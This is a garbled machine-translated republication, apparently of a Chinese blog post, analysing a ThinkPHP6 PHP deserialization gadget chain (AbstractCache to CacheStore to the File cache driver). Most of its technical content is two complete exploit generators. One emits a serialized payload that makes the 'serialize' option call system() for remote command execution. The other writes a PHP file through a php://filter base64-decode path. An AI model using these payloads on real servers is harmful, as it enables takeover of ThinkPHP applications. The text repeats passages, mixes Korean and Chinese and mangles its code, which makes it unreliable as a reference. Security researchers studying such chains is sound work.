>  기사  >  PHP 프레임워크  >  thinkphp6에 대한 또 다른 역직렬화 분석

thinkphp6에 대한 또 다른 역직렬화 분석

藏色散人
藏色散人앞으로
2021-03-16 17:28:002211검색

다음 튜토리얼 칼럼인 thinkphp에서는 thinkphp6에 대한 또 다른 역직렬화 분석을 소개하겠습니다. 필요한 친구들에게 도움이 되길 바랍니다!

thinkphp6에 대한 또 다른 역직렬화 분석

Forward

이전에 tp6의 체인을 분석한 적이 있는데, 이전에 두 체인 간의 링크를 구현하기 위해 __toString 메서드를 사용하여 전송했습니다. 그리고 이후에는 전송을 위해 제어 가능한 클래스 아래에 고정된 메서드를 사용합니다.

먼저 클릭 한 번으로 환경을 구축한 다음 php think run을 실행할 수 있습니다.

본 글은 지식 포인트의 실제 운용 연습: ThinkPHP5 원격 명령 실행 취약점(이 실험을 통해 ThinkPHP5 원격 명령 실행 취약점의 원인과 악용 방법, 취약점 수정 방법을 알아봅니다.)

text

The 첫 번째 아이디어는 초기 트리거에 소멸자를 사용한 다음 단계별 파생을 수행하기 위해 마법 함수를 추적하는 것입니다. 먼저 AbstractCache 클래스에서 마법 함수를 찾으세요. public function __destruct(){ if (! $this->autosave) { $this ->save() }}

코드는 위와 같습니다. 여기서 자동 저장을 제어할 수 있습니다. 이를 false로 수동으로 복사할 수 있습니다.

protected $autosave = true;public function __destruct(){    if (! $this->autosave) {        $this->save();    }}

其代码如上;可以看到autosave可以可控;这里我们可以手动给其复制为false;从而可以触发save方法;

回溯save方法;在CacheStore中找到了save方法;具体代码如下;

public function save(){    $contents = $this->getForStorage();    $this->store->set($this->key, $contents, $this->expire);}

可以看到其调用了getForStorage方法,然后将其赋值给$contents变量。这里追随一下这个方法;

public function getForStorage()    {        $cleaned = $this->cleanContents($this->cache);        return json_encode([$cleaned, $this->complete]);}

发现首先调用了cleanContents方法;然后在调用了json_encode方法,这里首先回溯一下cleanContents方法;

   public function cleanContents(array $contents)    {        $cachedProperties = array_flip([            'path', 'dirname', 'basename', 'extension', 'filename',            'size', 'mimetype', 'visibility', 'timestamp', 'type',            'md5',        ]);    foreach ($contents as $path => $object) {        if (is_array($object)) {            $contents[$path] = array_intersect_key($object, $cachedProperties);        }    }    return $contents;}저장 메서드를 역추적합니다. 특정 코드는 다음과 같습니다. $contents = $this->getForStorage(); $this->store->set($this-> key, $contents, $this->expire);}

할 수 있습니다. getForStorage 메소드를 호출한 다음 $contents 변수에 할당하는 것을 확인하세요. 여기에서 이 방법을 따르세요.

🎜public function getForStorage() { $cleaned = $this->cleanContents($this->cache) return json_encode([$cleaned, $this->complete]) ; }🎜🎜cleanContents 메서드가 먼저 호출된 다음 json_encode 메서드가 호출되는 것으로 나타났습니다. 여기서는 먼저 cleanContents 메서드를 역추적합니다. 🎜🎜 public function cleanContents(array $contents) { PATH ' ,' DIRNAME ',' Basename ',' Extension ',' FILENAME ',' SIZE ',' Mimetype ',' Visibility ',' TimestAmp ',' Type ',' MD5 '),]),]),]) ,]),] ; Foreach ($ PATH = & GT; $ Object) {if (IS_ARRAY ($ Object)) {$ Contents [$ PATH] = Array_intersect_Key ($ Object, $ Cachedpropers); 🎜🎜 우선 여기에서 array_flip 메소드를 볼 수 있습니다. 이 메소드는 배열의 키 이름과 키 값을 대체한 다음 $cachedProperties 변수에 배열을 할당하고 다음에 따라 전달한 매개변수를 순회합니다. $path 및 $object의 형식을 변경한 다음 is_array 메소드에 의해 이름이 true로 판단되면 후속 함수 처리가 수행됩니다. 그렇지 않으면 이 일련의 작업 후에 $content 배열이 직접 반환됩니다. , 마지막으로 저장 기능으로 반환된 다음 $this-> store->set($this->key, $contents, $this->expire); 또한 제어 가능합니다. 첫 번째는 set 메서드 클래스를 인스턴스화하거나 __call 메서드로 클래스를 인스턴스화하는 것입니다. 따라서 여기서는 먼저 존재하지 않는 메서드에 액세스하여 호출 매직 메서드를 호출할 수 있습니다. set 메소드가 있는 클래스는 File 클래스에서 찾으세요. 🎜

공용 함수 세트($name, $value, $expire = null): bool{ $this->writeTimes++; if (is_null($expire)) { $expire = $this->options['expire ']; } $expire = $this->getExpireTime($expire); $filename = $this->getCacheKey($name); $dir = dirname($filename); {                                                                                                          ~ > 012d' , $expire ) . "n 종료();>n" . $result = file_put_contents($filename, $data); if ($result) return true; public function set($name, $value, $expire = null): bool{    $this->writeTimes++;    if (is_null($expire)) {        $expire = $this->options['expire'];    }    $expire   = $this->getExpireTime($expire);    $filename = $this->getCacheKey($name);    $dir = dirname($filename);    if (!is_dir($dir)) {        try {            mkdir($dir, 0755, true);        } catch (Exception $e) {            // 创建失败        }    }    $data = $this->serialize($value);    if ($this->options['data_compress'] && function_exists('gzcompress')) {        //数据压缩        $data = gzcompress($data, 3);    }    $data   = "<?phpn //" . sprintf(&#39;%012d&#39;, $expire) . "n exit();?>n" . $data;    $result = file_put_contents($filename, $data);    if ($result) {        clearstatcache();        return true;    }    return false;}

这里可利用点在后面的serialize方法;直接追溯一下;

protected function serialize($data): string{    if (is_numeric($data)) {        return (string) $data;    }     $serialize = $this->options['serialize'][0] ?? "serialize";     return $serialize($data);}

这里发现options参量可控;这里就存在一个问题,如果我们将其赋值为system,那么后续return的就是我们命令执行函数,里面的data我们是可以传入的,那么我们就可以实现RCE;

这里放出我自己写的exp;

<?php #bash回显;网页不回显;namespace LeagueFlysystemCachedStorage{abstract class AbstractCache{ protected $autosave = false; protected $complete = []; protected $cache = [&#39;id'];    }}namespace thinkfilesystem{use LeagueFlysystemCachedStorageAbstractCache;class CacheStore extends AbstractCache{    protected $store;    protected $key;    public function __construct($store,$key,$expire)    {        $this->key    = $key;        $this->store  = $store;        $this->expire = $expire;    }}}namespace thinkcache{abstract class Driver{}}namespace thinkcachedriver{use thinkcacheDriver;class File extends Driver{    protected $options = [        'expire'        => 0,        'cache_subdir'  => false,        'prefix'        => false,        'path'          => 's1mple',        'hash_type'     => 'md5',        'serialize'     => ['system'],    ];}}namespace{$b = new thinkcachedriverFile();$a = new thinkfilesystemCacheStore($b,'s1mple','1111');echo urlencode(serialize($a));}

最后达到的效果就是system(xxxx);这里当时我测试没有回显,后来将代码调试了一下,发现是system里面参数的问题,后来我想到linux或者unix下反引号也是可以当做命令执行的,而且是可以首先执行的;所以我将代码改了下,嵌入反引号,这样可以更好的进行命令执行,但是这样的缺点就是可以执行,但是无回显;但是我们依然可以进行一些恶意操作;

thinkphp6에 대한 또 다른 역직렬화 분석

通过这个链,相信可以发现一些端倪,除了可以rce以外,这个链在最后的利用地方还有一个file_put_contents这个也是可以利用的;

下面利用的一些骚姿势如果有师傅不太理解,可以看这个链接;https://s1mple-top.github.io/2020/11/18/file-put-content%E5%92%8C%E6%AD%BB%E4%BA%A1%C2%B7%E6%9D%82%E7%B3%85%E4%BB%A3%E7%A0%81%E4%B9%8B%E7%BC%98/

뒤에서 serialize 메소드를 사용할 수 있습니다. 직접 추적하세요.

protected function serialize($data): string{ if (is_numeric($data)) { return (string) $data ; } $ serialize = $this->options['serialize'][0] ?? "serialize"; return $serialize($data);}

thinkphp6에 대한 또 다른 역직렬화 분석여기에서 옵션 매개변수를 제어할 수 있습니다. ; 여기에 문제가 있습니다. 이를 시스템으로 할당하면 후속 반환이 명령 실행 함수이고 내부에 데이터를 전달할 수 있으며 RCE를 구현할 수 있습니다.

🎜 여기에 제가 직접 작성한 exp가 있습니다. 🎜 <?php #bash echo; 네임스페이스 LeagueFlysystemCachedStorage{abstract class AbstractCache{ protected $complete = []; <code>'] }}네임스페이스 thinkfilesystem{use LeagueFlysystemCachedStorageAbstractCache;class CacheStore는 AbstractCache를 확장합니다{ protected $store; protected $key; public function __construct($store,$key,$expire) { $this->key = $key ; $this-&gt ;store = $store; $this->expire = $expire; }}}네임스페이스 thinkcache{추상 클래스 드라이버{}}네임스페이스 thinkcachedriver{use thinkcacheDriver;클래스 파일 확장 드라이버{ protected $options = [ ' 만료' => 0, 'cache_subdir' => false, 'path' => 's1mple', 'hash_type' => ' system'], ];}}네임스페이스{$b = new thinkcachedriverFile();$a = new thinkfilesystemCacheStore($b,'s1mple','1111');echo urlencode(serialize($a));}🎜🎜드디어 얻은 효과는 system(xxxx)입니다. 테스트할 때 에코가 발생하지 않았습니다. 나중에 코드를 디버깅하여 시스템의 매개변수에 문제가 있다는 것을 발견했습니다. 나중에 백틱도 실행할 수 있다고 생각했습니다. Linux 또는 Unix에서 명령으로 먼저 실행될 수 있으므로 명령을 더 잘 실행할 수 있도록 코드와 포함된 백틱을 변경했지만 단점은 실행할 수 있지만 에코가 없다는 것입니다. 하지만 여전히 일부 악의적인 작업을 수행할 수 있습니다. 🎜🎜  thinkphp6에 대한 또 다른 역직렬화 분석🎜🎜이 체인을 통과하면 몇 가지 단서를 찾을 수 있다고 믿습니다. rce 외에도 이 체인의 최종 활용 위치에 사용할 수 있는 file_put_contents도 있습니다. 🎜🎜마스터가 그렇지 않은 경우 아래에 사용된 섹시한 자세 중 일부를 이해하지 못하시면 이 링크를 확인하세요. https://s1mple-top.github.io/2020/11/18/file-put-content%E5%92%8C% E6%AD%BB%E4%BA%A1%C2%B7%E6% 9D%82%E7%B3%85%E4%BB%A3%E7%A0%81%E4%B9%8B%E7%BC% 98/🎜🎜다음에도 활용 체인이 설명되어 있습니다. 결국 파일 이름과 데이터의 내용을 제어해야 한다는 점만 다릅니다. 🎜🎜 🎜🎜

마지막에 데이터 접합이 있을 예정입니다. 원래 서식에 도입하려고 했으나 서식이 하드코딩되어 있어서 서식을 오염시키고 위험한 코드를 삽입할 수 없습니다. 이제 데이터를 제어할 차례입니다. 실제로 여기 데이터는 직렬화 메소드를 호출합니다. 배열 옵션을 꺼내서 데이터 앞에 배치하면 별 문제가 없습니다. 하지만 $serialize($data)이므로 여기에는 작은 구멍이 있습니다. 함수를 임의로 전달하면 Adsf($data); 함수와 같은 불규칙성이 발생하여 오류가 발생하고 진행이 불가능해집니다.

이 점을 이해하면 실제로 작은 함정이 있습니다. 옵션의 내용을 제어할 수 있습니다. 그런 다음 전달할 키 값을 제어할 수 있습니다. 그러나 여기서는 json_encode가 이전에 수행되었기 때문에 일반 함수에 의해 형성된 최종 형식을 base64로 해독할 수 없습니다. 그러나 여기에는 예외가 있습니다. . 직렬화 기능을 테스트한 결과 base64를 정상적으로 해독할 수 있다는 사실을 발견했습니다. 아마도 문자열을 형성할 수 있기 때문일 것입니다. 그 이유는 다음과 같습니다.

<?phpnamespace LeagueFlysystemCachedStorage{abstract class AbstractCache{ protected $autosave = false; protected $complete = []; protected $cache = [&#39;PD9waHAgcGhwaW5mbygpOz8+&#39;]; }}namespace thinkfilesystem{use LeagueFlysystemCachedStorageAbstractCache;class CacheStore extends AbstractCache{ protected $store; protected $key; public function __construct($store,$key,$expire) { $this->key    = $key;        $this->store  = $store;        $this->expire = $expire;    }}}namespace thinkcache{abstract class Driver{}}namespace thinkcachedriver{use thinkcacheDriver;class File extends Driver{    protected $options = [        'expire'        => 0,        'cache_subdir'  => false,        'prefix'        => false,        'path'          => 'php://filter/convert.base64-decode/resource=s1mple/../',        'hash_type'     => 'md5',        'serialize'     => ['serialize'],        'data_compress' => false    ];}}namespace{$b = new thinkcachedriverFile();$a = new thinkfilesystemCacheStore($b,'s1mple','2333');echo urlencode(serialize($a));}

쓰기 가능한 디렉터리이므로 여기서는 가상 디렉터리 방법을 사용하여 공용 디렉터리에서 경로 매개변수에 반영할 수 있습니다.

thinkphp6에 대한 또 다른 역직렬화 분석

마지막 액세스 결과는 물론 phpinfo를 실행하는 것입니다. 시스템과 같은 명령 실행 기능을 작성하여

thinkphp6에 대한 또 다른 역직렬화 분석

위 내용은 thinkphp6에 대한 또 다른 역직렬화 분석의 상세 내용입니다. 자세한 내용은 PHP 중국어 웹사이트의 기타 관련 기사를 참조하세요!

성명:
이 기사는 segmentfault.com에서 복제됩니다. 침해가 있는 경우 admin@php.cn으로 문의하시기 바랍니다. 삭제